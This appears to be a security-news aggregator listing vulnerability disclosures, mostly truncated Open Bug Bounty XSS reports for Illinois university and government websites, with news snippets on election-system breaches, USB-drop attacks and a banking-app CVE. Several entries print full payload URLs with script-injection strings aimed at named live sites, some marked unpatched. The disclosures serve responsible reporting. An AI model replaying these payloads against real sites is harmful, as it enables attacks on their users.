extension.illinois.edu XSS vulnerability

Vulnerable URL: http://extension.illinois.edu/treeselector/searchresults.cfm?q=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 29.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

illinoisattorneygeneral.gov XSS vulnerability

Open Bug Bounty ID: OBB-256290 Description| Value ---|--- Affected Website:| illinoisattorneygeneral.gov Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

archives.library.illinois.edu XSS vulnerability

Vulnerable URL: https://archives.library.illinois.edu/archon/?p=digitallibrary/request=4688=4760=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.08.2017 Vulnerability type:| XSS Vulnerability status:...

bushnell.illinois.gov XSS vulnerability

Vulnerable URL: http://www.bushnell.illinois.gov/cityofficesingle.php?officeID=1/-///'/"//--...

CVE-2017-9589

The "SCSB Shelbyville IL Mobile Banking" by Shelby County State Bank app 3.0.0 -- aka scsb-shelbyville-il-mobile-banking/id938960224 for iOS does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafte...

saapps.illinoisstate.edu XSS vulnerability

Vulnerable URL: https://saapps.illinoisstate.edu/cds/scheduling/index.php?method=%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

archives.library.illinois.edu XSS vulnerability

Vulnerable URL: https://archives.library.illinois.edu/archon/?p=core/contact=email=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E \r Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown ...

ace.chem.illinois.edu XSS vulnerability

Vulnerable URL: https://ace.chem.illinois.edu/ace/login.jsp?language=%26%2320013%3B%26%2325991%3B=%22%3E%3Csvg/onload=alert/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

spcfindingaids.library.illinoisstate.edu XSS vulnerability

Open Bug Bounty ID: OBB-203201 Description| Value ---|--- Affected Website:| spcfindingaids.library.illinoisstate.edu Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3...

extension.illinois.edu XSS vulnerability

Vulnerable URL: http://extension.illinois.edu/fiesta/sort.cfm?lang=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

Two US State Election Systems Hacked to Steal Voter Databases — FBI Warns

A group of unknown hackers or an individual hacker may have breached voter registration databases for election systems in at least two US states, according to the FBI, who found evidence during an investigation this month. Although any intrusion in the state voting system has not been reported, t...

Never Trust a Found USB Drive, Black Hat Demo Shows Why

Does dropping an infected USB drive in a parking lot work when it comes to a hacker luring its prey into a digital trap? The answer is a resounding yes. At Black Hat USA, security researcher Elie Bursztein shared the results of an experiment where he dropped 297 USB drives with phone-home...

van.physics.illinois.edu XSS vulnerability

Open Bug Bounty ID: OBB-143459 Description| Value ---|--- Affected Website:| van.physics.illinois.edu Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

my.engr.illinois.edu XSS vulnerability

Vulnerable URL: https://my.engr.illinois.edu/labtrack/utildatajson.asp?callback=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:11 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

vufind.carli.illinois.edu XSS vulnerability

Vulnerable URL: https://vufind.carli.illinois.edu/vf-iwu/Search/Home?lookfor="';--over=1 Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 21:26 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

theatre.illinois.edu XSS vulnerability

Vulnerable URL: http://theatre.illinois.edu/news/22?Guitch404%3Csvg%20onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 17:18 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

Amazon Linux: Security Advisory (ALAS-2013-148)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

extension.illinois.edu XSS vulnerability

Vulnerable URL: http://extension.illinois.edu/shrubselector/searchresults.cfm Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 13:38 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Goog...

extension.illinois.edu XSS vulnerability

Vulnerable URL: http://extension.illinois.edu/treeselector/searchresults.cfm?q=" Details: Description| Value ---|--- Patched:| Yes, at 25.07.2017 Latest check for patch:| 25.07.2017 13:38 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

NOT JUST ONE! RSA adopted Two NSA Backdoored Encryption Tools

The respected encryption and network security company RSA Security now a division of EMC, whose respect was already on stack after revelation by former NSA contractor Edward Snowden revealed that the NSA created a flawed random number generation system DualECDRBG, Dual Elliptic Curve, which the...